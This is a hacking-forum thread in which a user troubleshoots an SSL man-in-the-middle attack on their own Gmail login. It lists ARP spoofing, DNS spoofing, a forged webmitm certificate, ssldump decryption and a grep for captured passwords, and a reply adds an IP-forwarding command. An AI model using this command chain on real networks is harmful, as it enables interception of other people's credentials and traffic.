Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

How to decrypt SSL traffic using a MITM attack


ghost's Avatar
0 0

http://www.hackerscenter.com/index.php?/Video/General/How-to-decrypt-SSL-encrypted-traffic-using-a-man-in-the-middle-attack-Auditor.html

I've followed this step by step and have not had any luck capturing my own password.. what might I be doing wrong?

commands ran–

fragrouter -B1 arpspoof -t XX.XX.XX.XX XX.Router.IP.ADD webmitm (made a cert) dnsspoof

wireshark (and start recording everything)

On the victim machine when I perform an nslookup on gmail , the ip address is from my local area network.

Secondly on the victim machine, when I visit gmail.com over https, there is a warning about the fake certificate I issued using the attackers rig.

Log in to my own account.

Switch back to the attackers rig.

Save the captured packets.

Then I ran : ssldump -r capture -k webmitm.crt -d > out

Lastly: cat out | grep 'Passwd'

I get nothing, and I looked through the out file and it seems like I am recording the traffic that is for gmail.com .. but I can't see my own password.. any ideas?

Thank you guys for any words of wisdom.


ghost's Avatar
0 0

more than one way to skin a cat

no need for fragrouter: markupecho "1" > /proc/sys/net/ipv4/ip_forward

and remember

markupLastly: cat out | grep 'Passwd

linux is case sensitive and read the manual

markupman grep